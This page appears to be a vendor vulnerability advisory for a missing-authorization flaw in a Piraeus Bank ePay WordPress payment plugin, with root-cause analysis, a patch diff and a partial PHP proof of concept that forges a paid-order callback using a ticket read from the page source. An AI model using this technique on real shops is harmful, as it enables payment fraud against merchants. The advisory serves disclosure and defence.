Opens in a new tab
Published : November 15, 2026

CVE-2026-61978: Secure Card Gateway for ePay Paycenter (Piraeus Bank) <= 1.0.32 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.0.32
Patched Version 1.0.33
Disclosed August 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-61978: This CVE describes a missing authorization vulnerability in the Secure Card Gateway for ePay Paycenter (Piraeus Bank) WordPress plugin, affecting versions up to and including 1.0.32. The flaw allows unauthenticated attackers to perform an unauthorized action due to the absence of a capability check on a function. The CVSS score is 5.3, and the CWE is 862 (Missing Authorization).

The root cause lies in the plugin’s handling of the TranTicket parameter during the payment redirection flow. In includes/class-epay-paycenter-gateway.php, the plugin generates a secret HMAC-SHA256 key (the ticket) used to authenticate the payment callback. The vulnerable code at lines 961-972 includes this ticket in the HTML form sent to the browser as a hidden field: ‘TranTicket’ => $ticket[‘tran_ticket’]. This exposes the secret to the client side. An attacker can read the ticket from the page source and use it to forge a callback request that the plugin will accept as a legitimate payment notification. The patch removes this field from the form and adds a comment explaining the security rationale.

Exploitation requires no authentication. An attacker places an order, reaches the payment redirection page, and extracts the TranTicket value from the hidden form field. They then send a crafted POST request to the plugin’s callback endpoint (typically /wp-admin/admin-ajax.php or a custom endpoint) with the stolen ticket and fabricated payment status parameters. Because the plugin verifies the callback using the same ticket, the forged request passes validation, and the attacker can mark their order as paid without actual payment.

Patch analysis: The patch removes the TranTicket from the form fields array, ensuring the secret remains server-side only, stored in order meta. The bank identifies the transaction using MerchantReference and merchant credentials, not the ticket echoed in the form. This fix eliminates the exposure that allowed ticket theft and callback forgery. The version is bumped to 1.0.33.

Impact: Successful exploitation allows an attacker to forge payment confirmations, leading to financial loss for the merchant (goods or services delivered without payment). It undermines the integrity of the payment verification process and can be repeated for multiple orders. The vulnerability does not directly expose other data or enable privilege escalation, but it severely compromises the trust model of the gateway.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/secure-card-gateway-for-epay-paycenter-piraeus-bank/includes/class-epay-paycenter-gateway.php
+++ b/secure-card-gateway-for-epay-paycenter-piraeus-bank/includes/class-epay-paycenter-gateway.php
@@ -961,12 +961,22 @@

 		$this->record_ticket_log( $order, $ticket['tran_ticket'], $merchant_reference );

+		// SECURITY: TranTicket is deliberately NOT included in this form.
+		// Redirection Manual v2.9 §4 states the ticket "in no case may [it]
+		// be visible to the user (e.g. not to be transferred via hidden
+		// parameters to an html form)", and the sample form in Annex 1 omits
+		// it. The ticket is the secret HMAC-SHA256 key used to authenticate
+		// the callback (see Epay_Paycenter_Hash); exposing it in the browser
+		// would let a customer forge a successful-payment callback for their
+		// own order. It is kept server-side only, in the `_epay_tran_ticket`
+		// order meta written above. The bank identifies the transaction by
+		// MerchantReference plus the merchant credentials registered during
+		// the IssueNewTicket call, not by a ticket echoed in this form.
 		$form_fields = array(
 			'AcquirerId'        => (string) $this->get_acquirer_id(),
 			'MerchantId'        => (string) $this->get_option( 'merchant_id' ),
 			'PosId'              => (string) $this->get_pos_id(),
 			'User'               => (string) $this->get_option( 'username' ),
-			'TranTicket'         => $ticket['tran_ticket'],
 			'LanguageCode'       => $this->language_code,
 			'MerchantReference'  => $merchant_reference,
 			'ParamBackLink'      => $this->build_param_back_link( $order, $cancel_token ),
--- a/secure-card-gateway-for-epay-paycenter-piraeus-bank/secure-card-gateway-for-epay-paycenter-piraeus-bank.php
+++ b/secure-card-gateway-for-epay-paycenter-piraeus-bank/secure-card-gateway-for-epay-paycenter-piraeus-bank.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:       WebHosting4U Secure Card Gateway for ePay Paycenter (Piraeus Bank)
  * Description:       WooCommerce gateway for ePay Paycenter (Piraeus Bank/Euronet). SOAP ticketing, HMAC-SHA256 callback verification, HPOS and Blocks support.
- * Version:           1.0.32
+ * Version:           1.0.33
  * Requires at least: 6.3
  * Requires PHP:      7.4
  * Tested up to:      7.0
@@ -45,7 +45,7 @@
 define( 'EPAY_PAYCENTER_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'EPAY_PAYCENTER_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'EPAY_PAYCENTER_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
-define( 'EPAY_PAYCENTER_VERSION', '1.0.32' );
+define( 'EPAY_PAYCENTER_VERSION', '1.0.33' );
 define( 'EPAY_PAYCENTER_GATEWAY_ID', 'epay_paycenter' );

 require_once EPAY_PAYCENTER_PLUGIN_DIR . 'includes/class-epay-paycenter-plugin.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-61978 - Secure Card Gateway for ePay Paycenter (Piraeus Bank) <= 1.0.32 - Missing Authorization

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Create an order and initiate payment to obtain the TranTicket
// This example assumes we can access the payment page directly; in a real attack, the attacker would add a product to cart and checkout.

// For simplicity, we simulate the extraction of the ticket from the HTML form.
// In practice, the attacker would parse the response from the checkout page.
$ticket = 'STOLEN_TICKET_FROM_PAGE'; // Replace with actual extraction logic

// Step 2: Forge a callback request to mark the order as paid
$callback_url = $target_url . '/wp-admin/admin-ajax.php'; // Adjust if different endpoint
$post_data = [
    'action' => 'epay_paycenter_callback', // Hypothetical action name; adjust based on plugin
    'TranTicket' => $ticket,
    'MerchantReference' => 'YOUR_ORDER_REFERENCE', // The order reference from the checkout
    'Status' => 'Success', // Or whatever parameter indicates payment success
    // Additional parameters required by the plugin's callback handler
];

$ch = curl_init($callback_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Response HTTP Code: $http_coden";
echo "Response Body: $responsen";

// If the callback is accepted, the order status should change to processing/completed.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.